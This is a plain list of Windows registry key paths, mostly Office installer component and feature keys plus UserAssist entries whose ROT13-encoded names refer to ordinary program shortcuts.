HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\96DF167C86EA0ED4496BD5B6C3E9360D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D53A35E59196BC4CB9EBB2B7F90466D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D53A35E59196BC4CB9EBB2B7F90466D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3688D6E93DFD30C4FA6D0A693227B421
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3688D6E93DFD30C4FA6D0A693227B421\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A6824B7CA3CD81344BA223DC591132A0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A6824B7CA3CD81344BA223DC591132A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8D3438208262B784ABE5D2A6A31EBC82
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8D3438208262B784ABE5D2A6A31EBC82\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A382922899844F74796A072912A02CAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A382922899844F74796A072912A02CAB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\155C61ADD5EA17C4BB66F870437F1D54
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\155C61ADD5EA17C4BB66F870437F1D54\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3759CDD38857F2347BB28C848A61FCD2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3759CDD38857F2347BB28C848A61FCD2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0992CE675F29AC54DB19EA172353953C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0992CE675F29AC54DB19EA172353953C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DD15F24B63AC28649BFC7494ACBDF2FC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DD15F24B63AC28649BFC7494ACBDF2FC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B96E7433D238FEC439E945B5FC6D4005
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B96E7433D238FEC439E945B5FC6D4005\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F3803999D48E15489E9927F65E4B8A8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F3803999D48E15489E9927F65E4B8A8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB0A81F4F75E17545B7C48E1C7E7B473
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB0A81F4F75E17545B7C48E1C7E7B473\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EB42C29340707D3419E80475D0890071
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EB42C29340707D3419E80475D0890071\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE06D63C28806BE4E9CDD593CEA3B3A5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE06D63C28806BE4E9CDD593CEA3B3A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\99B4B15E3EE41104DBF9DCBDF15F5BED
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\99B4B15E3EE41104DBF9DCBDF15F5BED\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A0EE96A41CA6D184BBC0EB7BE5112448
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A0EE96A41CA6D184BBC0EB7BE5112448\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EE24A641422783E4FBBCA7562E4DC7CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EE24A641422783E4FBBCA7562E4DC7CA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BDD3BCFC777F1574FBC688622406E42D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BDD3BCFC777F1574FBC688622406E42D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0EDFE841656BEAA4EB1CAABC00FAE2E8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0EDFE841656BEAA4EB1CAABC00FAE2E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5A71B6B84BD09C247A7FF8FFC5CDB449
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5A71B6B84BD09C247A7FF8FFC5CDB449\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C52986B0EDD8A824BB6B14FC2316FA42
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C52986B0EDD8A824BB6B14FC2316FA42\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B139F4A634161043A07E405B4987B30
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B139F4A634161043A07E405B4987B30\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9496DD01D3025E34F9523F1DB646F63B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9496DD01D3025E34F9523F1DB646F63B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D1823607A1FA01A4DABBC112DA5718E1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D1823607A1FA01A4DABBC112DA5718E1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2A0A9C7C475BF9498E7BB9645BE2D5D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2A0A9C7C475BF9498E7BB9645BE2D5D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87AD4024607FD6D408FE586C11504FFC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87AD4024607FD6D408FE586C11504FFC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4511FFE2A2991754EB4DF641A3CB12F0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4511FFE2A2991754EB4DF641A3CB12F0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2FD010A9B85EF024D93EAC266EA1F644
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2FD010A9B85EF024D93EAC266EA1F644\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA7585ECDEB6DE14AABA49140B6CA213
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA7585ECDEB6DE14AABA49140B6CA213\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5EB28F61CD5A5C1458E9A2F4823AA6E8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5EB28F61CD5A5C1458E9A2F4823AA6E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\01D7E55FB8CB1DA44A989727677444B4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\01D7E55FB8CB1DA44A989727677444B4\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3A46C35748C407B4CA700417B94E79E6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3A46C35748C407B4CA700417B94E79E6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F9AC742399CCE449BBE132390941E9F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F9AC742399CCE449BBE132390941E9F\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5B36245FA4A1B24EB20EA2BB593F149
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5B36245FA4A1B24EB20EA2BB593F149\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87ED1FF08A425B945A54D9369F57170B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87ED1FF08A425B945A54D9369F57170B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E36553C09BDF6AC4DB6C11B9CC7B719C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E36553C09BDF6AC4DB6C11B9CC7B719C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB220E93AE895A14B8E6C02B76E46F4A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB220E93AE895A14B8E6C02B76E46F4A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A705783945E69294EB11B8A53BE31545
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A705783945E69294EB11B8A53BE31545\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9AF6A7745E3BE1842BF3BCAC9F1BA9CD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9AF6A7745E3BE1842BF3BCAC9F1BA9CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79D66C147DE18644A361A2E8BE8A234
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79D66C147DE18644A361A2E8BE8A234\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\772C3946B9805F240A057E81202DA281
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\772C3946B9805F240A057E81202DA281\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEF3EB88198FD79458A7C7CAFCC5C4A0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEF3EB88198FD79458A7C7CAFCC5C4A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA9B6CB9017891D438DCCA9FD0AB5AF2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA9B6CB9017891D438DCCA9FD0AB5AF2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BB75B80D19B65BA4CB5BEE60B984576A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BB75B80D19B65BA4CB5BEE60B984576A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9742EE3B01740CD4C9E9B8BFE0894101
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9742EE3B01740CD4C9E9B8BFE0894101\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9213F23A0763ACC469EF58F56A4907AE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9213F23A0763ACC469EF58F56A4907AE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F6C4F859A15A414B8257014CED688F2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F6C4F859A15A414B8257014CED688F2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OfficeDigitalSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OfficeDigitalSFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\361923C4E76385C438E8C873B8144CF2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\361923C4E76385C438E8C873B8144CF2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\CAGFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\CAGFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D684195474EB54A429709B62660D9368
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D684195474EB54A429709B62660D9368\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04939F7CA5722D24896AEABE227F693A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04939F7CA5722D24896AEABE227F693A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\690AAD6B02A4EFF4391276A850AD65E8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\690AAD6B02A4EFF4391276A850AD65E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\57FE3451A6F32BA44A467AB8768DA5C0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\57FE3451A6F32BA44A467AB8768DA5C0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\SetLanguageFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\SetLanguageFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49686B915F2D246409E59E96ECAB6089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49686B915F2D246409E59E96ECAB6089\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\WxpFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\WxpFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C38D8569C7FFC3A4CAE09EE12EDEFD0D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C38D8569C7FFC3A4CAE09EE12EDEFD0D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OISFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OISFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\52810A6F5092B444BB85AEC32C509F75
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\52810A6F5092B444BB85AEC32C509F75\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B78A050C551DE4846A08929C7D937B84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B78A050C551DE4846A08929C7D937B84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\767C7256DAAC3E845B6CCFE8E3DB4D2B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\767C7256DAAC3E845B6CCFE8E3DB4D2B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CCC74C4A51FA56E4E9F98EBA4D289373
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CCC74C4A51FA56E4E9F98EBA4D289373\00004109110000000000000000F01FEC
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\VQYR (Clguba 3.8 32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 Znahnyf (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 Zbqhyr Qbpf (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\JvaENE\JvaENE.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprff.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre KV.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Rkpry.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\TVZC 2.10.8.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zbmvyyn Guhaqreoveq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Abgrcnq++.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\BarAbgr 2016.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Bhgybbx.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\CbjreCbvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Choyvfure.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
